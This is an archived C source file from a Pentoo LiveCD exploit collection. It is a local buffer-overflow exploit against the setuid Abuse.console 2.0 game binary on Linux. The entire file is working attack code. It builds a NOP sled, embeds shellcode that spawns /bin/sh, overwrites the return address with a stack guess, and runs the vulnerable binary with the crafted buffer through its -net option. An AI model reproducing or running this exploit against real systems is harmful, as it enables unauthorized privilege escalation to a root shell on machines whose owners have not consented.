home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / abusexp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  63 lines

  1.      /*          Abuse.console version 2.0 Exploit           */
  2.     /*            By Girish<girish@mec.ac.in>                
  3.  
  4.                      <Tested on Debian 3.0 woody>                */
  5.  
  6. #include<stdio.h>
  7. #define RET 0xbffff55a
  8. #define LEN 980
  9. #define NOP 0x90
  10.  
  11. static char shellcode[]=
  12.     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  13.         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  14.         "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  15.  
  16.  
  17. long esp(void)
  18. {
  19.     __asm("movl %esp,%eax");
  20. }
  21.  
  22. void  main(int argc,char *argv[])
  23. {
  24.     
  25.     char cmd[1000];
  26.     int i,x;
  27.     long  retn;
  28.     char buff[LEN];
  29.     
  30.     
  31.     printf("\nUsage :- %s <offset>\n..",argv[0]);
  32.     
  33.     if(argc>1)
  34.         retn=esp()-atoi(argv[1]);
  35.     else
  36.         retn=RET;
  37.  
  38.     printf("Using return Adress :- ",retn );
  39.  
  40.     for(i=0;i<LEN;i+=4)
  41.     {
  42.         *(long*)&buff[i]=retn;
  43.     }
  44.  
  45.     for(i=0;i<(LEN-(strlen(shellcode)+8));i++)
  46.     {
  47.         *(buff+i)=NOP;
  48.  
  49.     }
  50.  
  51.     memcpy(buff+i,shellcode,strlen(shellcode));
  52.  
  53.     sprintf(cmd,"/usr/lib/games/abuse/abuse.console -net %s",buff);
  54.  
  55.     puts("executing .......");
  56.     
  57.     system(cmd);
  58.     
  59.     return;
  60. }
  61.  
  62.  
  63.